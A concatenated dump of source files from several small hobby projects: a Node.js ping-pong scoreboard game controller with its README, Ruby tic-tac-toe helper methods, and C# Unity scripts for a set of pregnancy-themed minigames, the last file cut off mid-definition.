if(typeof forceServe !== 'undefined') { serve = forceServe; } else if(this.score[0] > 0 || this.score[1] > 0) { serve = (serve == 1) ? 0 : 1; // A point was just cancelled, switch to previous server if(switchPreviousServer) { serve = serve; } } this.gameHistory.unshift({ action: 'switchServers', server: serve, score: this.score.slice() }); io.sockets.emit('game.switchServer', { player: serve }); } }; /** * Have both of the players reached the server switch threshold? * (the point at which service changes on each score) */ gameController.prototype.serverSwitchThresholdMet = function() { return this.score.every(function(score) { console.log('score' + score); return score >= global.settings.serverSwitchThreshold; }); }; /** * Returns the ID of the leading player */ gameController.prototype.leadingPlayer = function() { var greatestScore = Math.max.apply(Math, this.score); return this.score.indexOf(greatestScore) + 1; }; /** * Is the specified player currently playing? */ gameController.prototype.playerInGame = function(playerID) { return players.some(function(player) { return player.id == playerID; }); }; /** * Have the minimum quantity of players been added? */ gameController.prototype.minPlayersAdded = function() { return players.length >= global.settings.minPlayers; }; /** * Could the game end within one point? */ gameController.prototype.nextPointWins = function() { var nextScorePlayer1 = this.score[0] + 1, nextScorePlayer2 = this.score[1] + 1, leadingPlayer = (nextScorePlayer1 > nextScorePlayer2) ? 1 : 2, futureScoreDifference = (nextScorePlayer1 > nextScorePlayer2) ? nextScorePlayer1 - nextScorePlayer2 : nextScorePlayer2 - nextScorePlayer1; return (nextScorePlayer1 >= global.settings.maxScore || nextScorePlayer2 >= global.settings.maxScore) && (futureScoreDifference + 1 >= global.settings.mustWinBy); }; /** * Is the next point a winning point? */ gameController.prototype.checkGamePoint = function() { if(!this.nextPointWins()) return; var _this = this; io.sockets.emit('game.nextPointWins', { player: _this.leadingPlayer() - 1 }); if(this.leadingPlayer() == 1) { io.sockets.emit("nextPointWins", { "player": 1 }); console.log('Next point for player 1 wins'); } if(this.leadingPlayer() == 2) { io.sockets.emit("nextPointWins", { "player": 2 }); console.log('Next point for player 2 wins'); } }; /** * Spark core has sent a batter low event; notify * the client */ gameController.prototype.batteryLow = function() { io.sockets.emit('core.batteryLow'); }; /** * Ping received from feelers */ var debounceFeelers = debounce(function() { io.sockets.emit('feelers.disconnect'); debounceFeelers(); }, global.settings.feelers.pingInterval + global.settings.feelers.pingThreshold); gameController.prototype.feelersPingReceived = function() { io.sockets.emit('feelers.connect'); debounceFeelers(); }; /** * Send current game status to all clients */ gameController.prototype.updateStatus = function() { var stats = { online: this.online }; io.sockets.emit("stats", stats); }; /** * Client Joined */ gameController.prototype.clientJoined = function() { stats.emit('client.join'); };<file_sep>/readme.md #Hobby Proj An automated ping pong scoreboard / leaderboard by <NAME>, <NAME>, and <NAME> (forked from sidgtl) App runs on Heroku at [http://hobbyproj.herokuapp.com](http://hobbyproj.herokuapp.com) The project is functional but you will need a battery to power the Spark Core underneath the ping-pong table. Any portable cell phone charger with a micro-usb plug will work well. See [this one](http://www.amazon.com/Anker-Generation-Astro-mini-Lipstick-Sized/dp/B005X1Y7I2/ref=sr_1_1?ie=UTF8&qid=1440196538&sr=8-1&keywords=portable+charger) for an example. #Development To run locally, do the following: (ensure your config.js file is up to date) 1. gulp (to build front end) 2. NODE_ENV=development npm start (to start the server) Steps to deploy --------------- 1. create a new local branch 2. remove the following from the .gitignore: config.js, versions, and built css / js 3. gulp to build your front end 3. git push heroku yourbranch:master (you must have heroku set up locally, and be added as a contributor to the heroku instance) <file_sep>/lib/leaderboard.js // This should probably be a method on the game model var app = require('../app'), bookshelf = app.get('bookshelf'), Player = require('../models/Player'); module.exports.get = function getLeaderboardJSON(limit) { limit = limit || 10; return Player .query('where', 'play_count', '>', '0') .query('orderBy', 'elo', 'desc') .query('limit', limit) .fetchAll(); };
7c2f516114e7002033959573e8b582dd1e0dae54
[ "JavaScript", "Markdown" ]
8
JavaScript
timelf123/Ping-Pong
289447cbc8753206166597dad9487633895a08a8
e76ce7145637e508ef8da63613f65f509e351cc9
refs/heads/master
<file_sep>board = [" ", " ", " ", " ", " ", " ", " ", " ", " "] # Helper Method def position_taken?(board, index) !(board[index].nil? || board[index] == " ") end # Define your WIN_COMBINATIONS constant WIN_COMBINATIONS = [ [0,1,2], # Top row [3,4,5], # Middle row [6,7,8], # Bottom row [0,3,6], # Left column [1,4,7], # Middle column [2,5,8], # Right column [0,4,8], # Left diagonal [2,4,6] # Right diagonal ] def won?(board) # check a tic tac toe board and return true if there is a win and false if not WIN_COMBINATIONS.detect do |combo| position_1 = board[combo[0]] position_2 = board[combo[1]] position_3 = board[combo[2]] position_taken?(board, combo[0]) && (position_1 == position_2) && (position_2 == position_3) end end def full?(board) board.all? do |index| index == "X" || index == "O" end end def draw?(board) # accepts a board and returns true if the board has not been won and is full and false if the board is not won and the board is not full, # and false if the board is won. You should be able to compose this method solely using the methods you used above with some ruby logic. !won?(board) && full?(board) end def over?(board) # Build a method `#over?` that accepts a board and returns true if the board has been won, is a draw, or is full. You should be able # to compose this method solely using the methods you used above with some ruby logic. won?(board) || draw?(board) || full?(board) end def winner(board) # The `#winner` method should accept a board and return the token, "X" or "O" that has won the game given a winning board. # The `#winner` method can be greatly simplified by using the methods and their return values you defined above. if winning_combo = won?(board) board[winning_combo[0]] end end
6a23ea4c7c7df5cd04c2c8aa925f8a9a4b3a70ef
[ "Ruby" ]
1
Ruby
ronsala/ttt-game-status-v-000
13837ac8eaae6b9723e745d2d11cb8ea26de844c
45dafd284952bf3b836892dc92200e09b4601b88
refs/heads/master
<repo_name>sarahikeda/WhatsLeftBehind<file_sep>/hue.rb require 'HTTParty' require 'Nokogiri' require 'JSON' require 'hue' require 'launchy' require 'pry' require 'sentimental' require 'rb_lib_text' class Tweet def initialize(website) @page = HTTParty.get(website) @analyzer = Sentimental.new # load default sentiment dictionaries @analyzer.load_defaults end def get_tweets scrape_page parse_page get_sentiment end def scrape_page @html_page = Nokogiri::HTML(@page) end def parse_page @tweets = [] @html_page.css('.TweetTextSize').each do |tweet| @tweets << [tweet.text] end end def get_sentiment sentiments = @tweets.map {|tweet| @analyzer.sentiment tweet } end def get_tokens @tweets.map {|tweet| RbLibText.tokens(tweet[0])[0..2] } end end class Light def initialize(tweets) @tweet = tweets client = Hue::Client.new @light = client.lights.first end def change_color @light.on! @light.brightness = 250 # positive hue is 12750, negative hue is 46920 if @sentiment == :positive positive_hue elsif @sentiment == :negative negative_hue else neutral_hue end end def launch_projection Launchy.open("/Users/sarah/Desktop/code/WhatsLeftBehind/tweets.html") end def change_projection_tweet(tweet_number) sentiments = @tweet.get_tweets @sentiment = sentiments[tweet_number] end def positive_hue @light.hue = 12750 @light.saturation = 50 @light.brightness = 250 end def negative_hue @light.hue = 46920 @light.saturation = 250 @light.brightness = 250 end def neutral_hue @light.hue = 12750 @light.saturation = 50 @light.brightness = 100 end def color_loop launch_projection tweet_number = 0 # 30 minutes from now end_time = Time.now + 200 loop do if Time.now < end_time sleep 2 change_projection_tweet(tweet_number) change_color tweet_number +=1 end end end end class Installation def initialize @tweets = Tweet.new('https://twitter.com/search?q=near%3A%22Manchester%2C+England%22+within%3A15mi+since%3A2015-07-02+until%3A2015-07-19&ref_src=twsrc%5Etfw&ref_url=https%3A%2F%2Ftwitter.com%2Fsettings%2Fwidgets%2Fnew%2Fsearch') @tweets.get_tweets @light = Light.new(@tweets) end def create_projection @words_from_tweets = @tweets.get_tokens @light.color_loop # Launchy.open("/Users/sarah/Desktop/code/WhatsLeftBehind/tweets.html") end end installation = Installation.new installation.create_projection
0432ed78d12b162f4be7666fe04221bc7d6aa041
[ "Ruby" ]
1
Ruby
sarahikeda/WhatsLeftBehind
8291a2f9b601ef9d89aca15b948f9d79be03ce74
c237afe447b64ae213279cf2b96d7f7eb65d04e6
refs/heads/master
<file_sep>using Microsoft.VisualStudio; using Microsoft.VisualStudio.Shell; using Microsoft.VisualStudio.Shell.Interop; using System; using System.ComponentModel.Composition; namespace Clide { [Adapter] internal class VsToSolutionAdapter : IAdapter<IVsHierarchy, IProjectNode>, IAdapter<FlavoredProject, IProjectNode> { readonly Lazy<ISolutionExplorerNodeFactory> nodeFactory; readonly JoinableLazy<IVsHierarchyItemManager> hierarchyItemManager; [ImportingConstructor] public VsToSolutionAdapter( Lazy<ISolutionExplorerNodeFactory> nodeFactory, JoinableLazy<IVsHierarchyItemManager> hierarchyItemManager) { this.nodeFactory = nodeFactory; this.hierarchyItemManager = hierarchyItemManager; } public IProjectNode Adapt(IVsHierarchy from) => nodeFactory .Value .CreateNode(hierarchyItemManager.GetValue().GetHierarchyItem(from, VSConstants.VSITEMID_ROOT)) as IProjectNode; public IProjectNode Adapt(FlavoredProject from) => (nodeFactory .Value .CreateNode(hierarchyItemManager.GetValue().GetHierarchyItem(from.Hierarchy, VSConstants.VSITEMID_ROOT)) as ProjectNode).WithInnerHierarchy(hierarchyItemManager.GetValue().GetHierarchyItem(from.InnerHierarchy, VSConstants.VSITEMID_ROOT)); } }<file_sep>using System; using System.Collections.Generic; using System.ComponentModel.Composition; namespace Clide { [MetadataAttribute] [AttributeUsage(AttributeTargets.Class, AllowMultiple = false)] public class CommandAttribute : ExportAttribute { public CommandAttribute(string packageGuid, string groupGuid, int commandId) : base(typeof(ICommandExtension)) { PackageId = packageGuid; GroupId = groupGuid; CommandId = commandId; } public string PackageId { get; } public string GroupId { get; } public int CommandId { get; } } }<file_sep>using System; using System.Collections.Generic; using System.ComponentModel.Composition; using System.Linq; using System.Threading; using System.Threading.Tasks; namespace Clide { [Export(typeof(IStartableService))] [PartCreationPolicy(CreationPolicy.Shared)] class StartableService : IStartableService { readonly IEnumerable<Lazy<IStartable, IStartableMetadata>> components; [ImportingConstructor] public StartableService([ImportMany] IEnumerable<Lazy<IStartable, IStartableMetadata>> components) { this.components = components; } public Task StartComponentsAsync(string context) => StartComponentsAsync(context, CancellationToken.None); public async Task StartComponentsAsync(string context, CancellationToken cancellationToken) { if (!Guid.TryParse(context, out var contextGuid)) contextGuid = Guid.Empty; var componentsToBeStarted = components .Where(x => string.Equals(x.Metadata.Context, context, StringComparison.OrdinalIgnoreCase) || (contextGuid != Guid.Empty && x.Metadata.ContextGuid == contextGuid)); foreach (var component in componentsToBeStarted.OrderBy(x => x.Metadata.Order)) { if (cancellationToken.IsCancellationRequested) return; await component.Value.StartAsync(); } } } }
17ecdf1c9f0c3981dc68ede923db3868165c4932
[ "C#" ]
3
C#
tondat/clide
5571831b1e7bf76122a5a53ac4a25eca16d19b3d
4b15f293e6e4a6f1a2b6e54db31b22b96bf31395
refs/heads/master
<file_sep>from django.urls import path from .views import person_list urlpatterns = [ path('list/', person_list) ]<file_sep> from django.contrib import admin from django.urls import path, include from .views import hello, articles, fname, fname2 from django.conf import settings from django.conf.urls.static import static from clients import urls as clients_urls urlpatterns = [ path('admin/', admin.site.urls), path('hello/', hello), path('articles/<int:year>/', articles), path('pessoa/<str:nome>', fname2), path('person/', include(clients_urls)), ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) <file_sep>from django.shortcuts import render from .models import Person def person_list(request): persons = Person.objects.all() return render(request, 'person.html', {"person": persons}) <file_sep>from django.http import HttpResponse from django.shortcuts import render def hello(request): return render(request, 'index.html') def articles(request, year): return HttpResponse(f'o ano passado foi:{str(year)}') def lerDoBanco(nome): list_nomes = [ {'nome': 'ana', 'idade':20}, {'nome': 'Pedro', 'idade':25}, {'nome': 'Joaquim', 'idade':29} ] for pessoa in list_nomes: if pessoa['nome'] == nome: return pessoa else: return {'nome': 'Nao encontrado', 'idade':0} def fname(request, nome): result = lerDoBanco(nome) if result['idade'] > 0: return HttpResponse(f"Nome:{result['nome']} Idade:{result['idade']}") else: return HttpResponse('Nao encontrada') def fname2(request, nome): idade = lerDoBanco(nome)['idade'] return render(request, 'pessoa.html', {'v_idade':idade})
5ed05d9cffbf6fb0bfba9b5acd74ffa7fa427698
[ "Python" ]
4
Python
JoaoMWatson/udemyDjango
ed09fe47730c276d64cfc49d8123faa6b04abb1d
d1545d5e82e44ae978ef9609051554b16ff81a7e
refs/heads/main
<repo_name>liempo/preggy<file_sep>/Assets/Common/Scripts/Manager.cs using Common.Scripts.UI; using UnityEngine; using UnityEngine.Events; using UnityEngine.SceneManagement; namespace Common.Scripts { public class Manager : MonoBehaviour { [Header("Components")] public InGameUI hud; public PauseUI pause; [Header("Game Settings")] public int score; public int lives; public float gameTime; public float countdownTime; public bool isGameRunning; public bool isGameFinished; public bool isCountdownStarted; [Header("Game Events")] public UnityEvent onCountdownStarted; public UnityEvent onGameStarted; public UnityEvent onGamePaused; public UnityEvent onGameResumed; public UnityEvent onGameFinished; public int[] rating = new int[3]; // Internal game attributes public string scene; private void Awake() { scene = SceneManager .GetActiveScene().name; DontDestroyOnLoad(gameObject); } private void Start() { UpdateUI(); // Enable event debug logs onCountdownStarted.AddListener( delegate { Debug.Log("onCountdownStarted"); }); onGameStarted.AddListener( delegate { Debug.Log("onGameStarted"); }); onGamePaused.AddListener( delegate { Debug.Log("onGamePaused"); }); onGameResumed.AddListener( delegate { Debug.Log("onGameResumed"); }); onGameFinished.AddListener( delegate { Debug.Log("onGameFinished"); }); } private void Update() { if (IsInteracted()) { // If countdown is not started // and there still time to tick // --> Start countdown // else the game must be paused // --> resume the game if (!isCountdownStarted && !isGameRunning) { if (countdownTime > 0) { onCountdownStarted?.Invoke(); isCountdownStarted = true; } else SetPause(false, false); } } } private void FixedUpdate() { if (isGameFinished) return; // If the countdown started // --> Tick down the countdown timer to run game if (isCountdownStarted) { if (countdownTime > 0) countdownTime -= Time.fixedDeltaTime; else { onGameStarted?.Invoke(); isGameRunning = true; isCountdownStarted = false; } } // else if game is already running // --> Tick the down the game timer else if (isGameRunning) { if (gameTime > 0) gameTime -= Time.fixedDeltaTime; else { onGameFinished?.Invoke(); Finish(); } } // Once the timers are settled // We now deal with th lives if (lives <= 0) Finish(); // Update UI if game is started UpdateUI(); } private void UpdateUI() { hud.SetScore(score); hud.SetLives(lives); hud.SetTimer((int) gameTime); hud.SetCountdown((int) countdownTime); // Show only countdown if countdown is started hud.SetCountdownActive(isCountdownStarted); // Show only message if game not running hud.SetMessageActive(!isGameRunning && !isCountdownStarted); } public void SetPause(bool value, bool withUI = true) { if (withUI) { hud.gameObject.SetActive(!value); pause.gameObject.SetActive(value); } if (value) { onGamePaused?.Invoke(); isGameRunning = false; Time.timeScale = 0.05f; } else { onGameResumed?.Invoke(); isGameRunning = true; Time.timeScale = 1f; } } public void Retry() { Destroy(gameObject); SceneManager.LoadScene(scene); } public void Quit() { Destroy(gameObject); Time.timeScale = 1f; SceneManager.LoadScene("Main Menu"); } public void Finish() { onGameFinished?.Invoke(); isGameFinished = true; SceneManager.LoadScene("Game Over"); } public int GetRating() { var min = 0; for (var i = 0; i < rating.Length; i++) { var max = rating[i]; if (score >= min && (score <= max || i == rating.Length - 1)) return i; min = rating[i]; } return 0; } // Checks if player interacted private static bool IsInteracted() { // Check if player touched the screen var isTouch = Input.touchCount > 0 && Input.GetTouch(0).phase == TouchPhase.Began; // Check if player pressed space var isJump = Input.GetButtonDown("Jump"); // Check if player left clicked var isClicked = Input.GetMouseButtonDown(0); return isTouch || isJump || isClicked; } } } <file_sep>/Assets/Balance/Scripts/Dragger.cs using UnityEngine; namespace Balance.Scripts { public class Dragger : MonoBehaviour { private Camera _camera; private Rigidbody2D _selected; private void Start() { _camera = Camera.main; } private void FixedUpdate() { Drag(); } // Implement touch to drag private void Drag() { // Get bool vars var isTouching = Input.touchCount == 1; var isClicking = Input.GetMouseButton(0); // Return if not touched or not clicked if (!isTouching && !isClicking) { if (_selected != null) { _selected.isKinematic = false; _selected = null; } return; } // Get position of drag Vector2 position; if (isTouching) { var touch = Input.GetTouch(0); // Check if moving if (touch.phase == TouchPhase.Began) position = touch.position; else return; } else { position = Input.mousePosition; } // Convert position to world point position = _camera.ScreenToWorldPoint(position); // If something is still selected drag it if (_selected != null) { _selected.isKinematic = true; _selected.position = new Vector2( position.x, position.y); } // If nothing selected check for hit else { // Check for hits using raycast var hit = Physics2D.Raycast(position, _camera.transform.forward); // Exit if no collider and rigidbody present if (hit.collider == null || hit.rigidbody == null) return; // Exit if hit is not a spawnable object if (!hit.collider.CompareTag("Spawnable")) return; // Cache selected rigidbody _selected = hit.rigidbody; } } } } <file_sep>/Assets/Breakout/Scripts/Ball.cs using Common.Scripts; using UnityEngine; namespace Breakout.Scripts { public class Ball : MonoBehaviour { public float initialVelocity = 600f; public int pointPerHit = 50; private Vector3 _initial; private Manager _manager; // Private members for components private Rigidbody2D _rb; private void Start() { _rb = GetComponent<Rigidbody2D>(); _manager = FindObjectOfType<Manager>(); _initial = transform.position; } private void FixedUpdate() { if (_manager.isGameRunning) { // Return if the ball is active if (!_rb.isKinematic) return; // Else make the ball active _rb.isKinematic = false; _rb.AddForce(new Vector2(1f, initialVelocity)); _rb.gravityScale = 0.8f; } // Stop the ball if it's still active // and the game is not running else if (!_rb.isKinematic) { _rb.isKinematic = true; _rb.velocity = Vector2.zero; transform.position = _initial; } } private void OnCollisionEnter2D(Collision2D other) { if (other.gameObject.CompareTag("Brick")) { Destroy(other.gameObject); _manager.score += pointPerHit; } else if (other.gameObject.CompareTag("Paddle")) { _rb.velocity = new Vector2( other.rigidbody.velocity.x, _rb.velocity.y); } else if (other.gameObject.CompareTag("Ground")) { if (_manager.lives > 0) _manager.lives -= 1; _manager.SetPause(true, false); } } } } <file_sep>/Assets/Jump/Scripts/Rope.cs using System.Collections.Generic; using Common.Scripts; using UnityEngine; namespace Jump.Scripts { public class Rope : MonoBehaviour { private LineRenderer _renderer; private List<Segment> _segments; [Header("Rope Anchors")] public Transform startAnchor; public Transform endAnchor; public float anchorTargetSpeed; private float _currentAnchorSpeed; public Vector2 moveTarget = new Vector3(0f, 1f); private Vector2 _startAnchorOrigin; private Vector2 _endAnchorOrigin; [Header("Rope Configuration")] // lineThickness: Width of the line to be rendered // segmentSpacing: Distance between each segment // segmentCount: Number of segment in the rope public float lineThickness = 0.1f; public float segmentSpacing = 0.25f; public int segmentCount = 35; public int upwardsSortOrder = 10; public int downwardsSortOrder; [Header("Rope Physics")] public Vector2 gravity = new Vector2(0f, -1f); public int constraintIterations = 50; [Header("Ground Collision")] private EdgeCollider2D _collider; [Header("Game Mechanics")] public Character character; private Manager _manager; private void Start() { _renderer = GetComponent<LineRenderer>(); _collider = GetComponent<EdgeCollider2D>(); _manager = FindObjectOfType<Manager>(); _segments = new List<Segment>(); // Setup the renderer _renderer.useWorldSpace = false; _renderer.startWidth = lineThickness; _renderer.endWidth = lineThickness; // Calculate anchor targets _startAnchorOrigin = startAnchor.position; _endAnchorOrigin = endAnchor.position; Build(); // <-- Start building segments } private void Update() { Draw(); } private void FixedUpdate() { Simulate(); MoveAnchors(); UpdateCollider(); // If the timer is running // and the anchors are not moving // move the fucking anchors! if (_manager.isGameRunning) { if (_currentAnchorSpeed > 0f) return; _currentAnchorSpeed = anchorTargetSpeed; character.jumpEnabled = true; } // If the timer is not running // and the anchors are moving // Stop the fucking anchors!! else { if (_currentAnchorSpeed > 0f) _currentAnchorSpeed = 0f; } } private void Build() { var start = _startAnchorOrigin; // Attach each segment to each other for (var i = 0; i < segmentCount; i++) { _segments.Add(new Segment(start)); start.y -= segmentSpacing; } } private void Draw() { // Create an array of the current positions var positions = new Vector3[segmentCount]; for (var i = 0; i < segmentCount; i++) positions[i] = _segments[i].Current; // Set position to the renderer _renderer.positionCount = positions.Length; _renderer.SetPositions(positions); } private void Simulate() { // Apply verlet integration to each segment for (var i = 0; i < segmentCount; i++) { var segment = _segments[i]; // Calculate the velocity // before updating old position var v = segment.GetVelocity(); // Update the new position segment.Previous = segment.Current; // Calculate new position segment.Current += v + (gravity * Time.fixedDeltaTime); // Save the segment _segments[i] = segment; } // Apply the constraints for (var i=0; i<constraintIterations; i++) ApplyConstraint(); } private void ApplyConstraint() { // Apply anchors to first and last segments var start = _segments[0]; start.Current = startAnchor.position; _segments[0] = start; var end = _segments[segmentCount - 1]; end.Current = endAnchor.position; _segments[segmentCount - 1] = end; // Apply segment error correction for (var i = 0; i < segmentCount - 1; i++) { // Get two segments at a time var first = _segments[i]; var second = _segments[i + 1]; // Get magnitude of the two points // #DistanceFormula #PythagoreanTheorem var dist = (first.Current - second.Current).magnitude; var error = Mathf.Abs(dist - segmentSpacing); // Calculate direction (s) var direction = ((dist > segmentSpacing) ? (first.Current - second.Current) : (second.Current - first.Current)).normalized; // Amount to change (t) var change = direction * error; // If first index, apply calculations // to second segment only if (i == 0) { second.Current += change; _segments[i + 1] = second; } else { first.Current -= change / 2f; second.Current += change / 2f; _segments[i] = first; _segments[i + 1] = second; } // IMPORTANT!! PLEASE READ!! // Since Unity's colliders are not working // because I'm manually setting the colliders // points, therefore, collision events won't // trigger. So fuck it! I'm gonna check it myself // isRopeColliding = _rectangle.Contains(_segments[i].Current); } } private void MoveAnchors() { var lerpValue = Mathf.PingPong( Time.fixedTime * _currentAnchorSpeed, 1); var newStartAnchorPosition = Vector3.Lerp( _startAnchorOrigin, _startAnchorOrigin + moveTarget, lerpValue); var newEndAnchorPosition = Vector3.Lerp( _endAnchorOrigin, _endAnchorOrigin + moveTarget, lerpValue); // Check if anchors are moving up or down // NOTE: check only one of the anchor for optimization _renderer.sortingOrder = newStartAnchorPosition.y < startAnchor.position.y ? upwardsSortOrder : downwardsSortOrder; startAnchor.position = newStartAnchorPosition; endAnchor.position = newEndAnchorPosition; } private void UpdateCollider() { // Get segments and convert to array var positions = new Vector2[segmentCount]; for (var i = 0; i < segmentCount; i++) positions[i] = _segments[i].Current; _collider.points = positions; } private void OnTriggerEnter2D(Collider2D other) { if (other.gameObject.CompareTag("Ground") && _manager.isGameRunning) if (character.isJumping) { _manager.score++; } else { _manager.lives--; _manager.isGameRunning = false; } } private struct Segment { public Vector2 Current; public Vector2 Previous; public Segment(Vector2 position) { Current = position; Previous = position; } public Vector2 GetVelocity() { return Current - Previous; } } } } <file_sep>/Assets/Catch/Scripts/CatchItem.cs using Common.Scripts; using Spawning.Scripts; using UnityEngine; namespace Catch.Scripts { public class CatchItem : Spawnable { public int points = 100; private Manager _manager; private void Start() { _manager = FindObjectOfType<Manager>(); } private void OnCollisionEnter2D(Collision2D other) { if (other.gameObject.CompareTag("Player")) if (item.type == SpawnType.Bad) { _manager.lives--; _manager.hud.SetMessage("Do not catch unhealthy food!"); _manager.SetPause(true, false); } else _manager.score += points; else if (other.gameObject.CompareTag("Ground")) if (item.type == SpawnType.Good) { _manager.lives--; _manager.hud.SetMessage("Catch healthy food!"); _manager.SetPause(true, false); } else _manager.score += points; Destroy(gameObject); } } } <file_sep>/Assets/Menu/Scripts/Tip.cs using System; using Common.Scripts.Utilities; namespace Menu.Scripts { [Serializable] public class Tip { public int trimester; public string title; public string content; public static Tip[] Serialize(string jsonString) { return JsonHelper.FromJson<Tip>(jsonString); } } } <file_sep>/Assets/Maze/Scripts/Path.cs using System.Collections.Generic; using Common.Scripts; using UnityEngine; using UnityEngine.Events; namespace Maze.Scripts { public class Path : MonoBehaviour { private LineRenderer _renderer; private EdgeCollider2D _collider; private Manager _manager; private bool _isColliding; [Header("Path Settings")] public new Camera camera; public Transform start; public List<Vector2> list; public float lineThickness = 0.1f; public float resetDelay = 1f; [Header("Events")] public UnityEvent onPathUpdated; public UnityEvent onCollided; public UnityEvent onFinished; private void Start() { _manager = FindObjectOfType<Manager>(); _renderer = GetComponent<LineRenderer>(); _collider = GetComponent<EdgeCollider2D>(); list = new List<Vector2>(); // Setup the renderer _renderer.useWorldSpace = false; _renderer.startWidth = lineThickness; _renderer.endWidth = lineThickness; // Reset the path Reset(); } private void Update() { Draw(); } private void FixedUpdate() { // Check if game is running // and a vertex is created if (!_manager.isGameRunning) return; if (!_isColliding && CreateVertex()) UpdateCollider(); } private void OnTriggerEnter2D(Collider2D other) { _isColliding = true; // When path collide with maze, fail if (other.CompareTag("Maze")) { _manager.lives--; onCollided?.Invoke(); } // When path collider with finish line, good else if (other.CompareTag("Finish")) { _manager.score++; onFinished?.Invoke(); } Invoke(nameof(Reset), resetDelay); } private bool CreateVertex() { Vector2 point; // Prioritize touch input if (Input.touchCount == 1) { var touch = Input.GetTouch(0); if (touch.phase != TouchPhase.Began) return false; point = touch.position; list.Add(point); } else if (Input.GetMouseButton(0)) point = Input.mousePosition; // Return if not input else return false; // Now that there's something to process Vector2 worldPoint = camera .ScreenToWorldPoint(point); // Straighten the line // if (_path.Count > 0) // worldPoint = Straighten( // _path[_path.Count - 1], // worldPoint, // straightenThreshold); // Finally add it to our path list list.Add(worldPoint); onPathUpdated?.Invoke(); return true; } private void UpdateCollider() { // Update collider _collider.points = list.ToArray(); if (!_collider.enabled) _collider.enabled = true; } private void Draw() { var positions = new Vector3[list.Count]; for (var i = 0; i < list.Count; i++) positions[i] = list[i]; _renderer.positionCount = list.Count; _renderer.SetPositions(positions); } private void Reset() { // Clear path list.Clear(); // Add first position list.Add(start.position); _renderer.positionCount = 0; // Disable the collider _collider.enabled = false; _isColliding = false; } } } <file_sep>/Assets/Menu/Scripts/Askable.cs using System; using System.Collections.Generic; using Common.Scripts.Utilities; namespace Menu.Scripts { [Serializable] public class Askable { public string question; public List<string> choices; public int answerIndex = -1; public static Askable[] Serialize(string jsonString) { return JsonHelper.FromJson<Askable>(jsonString); } } } <file_sep>/Assets/Common/Scripts/UI/InGameUI.cs using TMPro; using UnityEngine; using UnityEngine.UI; namespace Common.Scripts.UI { public class InGameUI : MonoBehaviour { [Header("Components")] public Button pause; public TextMeshProUGUI score; public LivesUI lives; public TextMeshProUGUI timer; public TextMeshProUGUI countdown; public TextMeshProUGUI message; [Header("Integer Width (Zero Padded)")] public int scoreWidth = 4; public int timerWidth = 2; public int countdownWidth = 1; [Header("Text Format")] public string timerFormat = "{0}"; public string scoreFormat = "{0}"; private void Start() { if (pause != null) pause.onClick.AddListener(delegate { FindObjectOfType<Manager>() .SetPause(true); }); // Initially disable countdown text if (countdown != null) countdown.gameObject.SetActive(false); } public void SetScore(int value) { if (score == null || !score.isActiveAndEnabled) return; score.text = string.Format(scoreFormat, value.ToString().PadLeft( scoreWidth, '0') ); } public void SetTimer(int value) { if (timer == null || !timer.isActiveAndEnabled) return; timer.text = string.Format(timerFormat, value.ToString().PadLeft( timerWidth, '0') ); } public void SetLives(int value) { if (value < lives.count) lives.SetRemaining(value); else if (value > lives.count) lives.SetCount(value); } public void SetCountdown(int value) { countdown.text = value.ToString().PadLeft( countdownWidth, '0'); } public void SetMessage(string value) { if (message == null || !message.isActiveAndEnabled) return; message.text = value; } public void SetMessageActive(bool value) { message.gameObject.SetActive(value); } public void SetCountdownActive(bool value) { countdown.gameObject.SetActive(value); } } } <file_sep>/Assets/Menu/Scripts/Stage.cs using System; using Common.Scripts.Utilities; namespace Menu.Scripts { [Serializable] public class Stage { public string title; public string scene; public static Stage[] Serialize(string jsonString) { return JsonHelper.FromJson<Stage>(jsonString); } } } <file_sep>/Assets/Menu/Scripts/Result.cs using System; using Common.Scripts.Utilities; namespace Menu.Scripts { [Serializable] public class Result { public string title; public string content; public static Result[] Serialize(string jsonString) { return JsonHelper.FromJson<Result>(jsonString); } } } <file_sep>/Assets/Balance/Scripts/Container.cs using System.Collections.Generic; using System.Linq; using Common.Scripts; using Spawning.Scripts; using UnityEngine; namespace Balance.Scripts { public class Container : MonoBehaviour { public SpawnType type; public List<Spawnable> items; public float scoreWeight = 50f; public Manager manager; public int Count() { return items.Count; } public void AddScore() { var correct = items.Count( item => item.item.type == type); var score = ((float) correct / items.Count) * scoreWeight; Debug.Log(type + " Score = " + score); manager.score += Mathf.CeilToInt(score); } private void OnTriggerEnter2D(Collider2D other) { if (other.CompareTag("Spawnable")) { var item = other.gameObject .GetComponent<Spawnable>(); if (!items.Contains(item)) items.Add(item); } } private void OnTriggerExit2D(Collider2D other) { if (other.CompareTag("Spawnable")) { var item = other.gameObject .GetComponent<Spawnable>(); items.Remove(item); } } } } <file_sep>/Assets/Match/Scripts/MatchItem.cs using System; using System.Collections; using Spawning.Scripts; using UnityEngine; namespace Match.Scripts { public class MatchItem : Spawnable { public GameObject back; public bool isBackActive; public Vector3 rotation; public float rotateDuration = 1f; private bool _isRotating; public void StartFlip() { StartCoroutine(CalculateFlip()); } private void ToggleBackVisible() { if (isBackActive) { back.SetActive(false); isBackActive = false; } else { back.SetActive(true); isBackActive = true; } } private IEnumerator CalculateFlip() { if (_isRotating) yield break; _isRotating = true; var isFlipped = false; var currentRotation = transform.eulerAngles; var newRotation = currentRotation + rotation; var timer = 0f; while (timer < rotateDuration) { timer += Time.deltaTime; // Lerp the rotation transform.eulerAngles = Vector3.Lerp( currentRotation, newRotation, timer / rotateDuration); // Check if vector if (!isFlipped && Math.Abs(timer - (rotateDuration / 2f)) < 0.05f) { ToggleBackVisible(); isFlipped = true; } yield return null; } _isRotating = false; } } } <file_sep>/Assets/Menu/Scripts/Loader.cs using System.Collections; using UnityEngine; using UnityEngine.Events; using UnityEngine.SceneManagement; namespace Menu.Scripts { public class Loader : MonoBehaviour { private bool _activate; [Header("Events")] public UnityEvent onLoadStart; public UnityEvent onLoadFinished; public void StartLoader(string sceneName) { onLoadStart?.Invoke(); StartCoroutine(Load(sceneName)); } public void Activate() { _activate = true; } private IEnumerator Load(string sceneName) { var operation = SceneManager .LoadSceneAsync(sceneName); operation.allowSceneActivation = false; while (!operation.isDone) { if (operation.progress >= 0.9f) { onLoadFinished?.Invoke(); // Wait for activation operation.allowSceneActivation = _activate; } yield return null; } } } } <file_sep>/Assets/Common/Scripts/Character.cs using UnityEngine; using static Common.Scripts.Utilities.Controls; namespace Common.Scripts { public class Character : MonoBehaviour { // To be shown in the inpsector public float speed = 1f; public float jumpForce = 5f; public bool isJumping; public bool jumpEnabled; public bool runEnabled; public bool centerMode; public bool 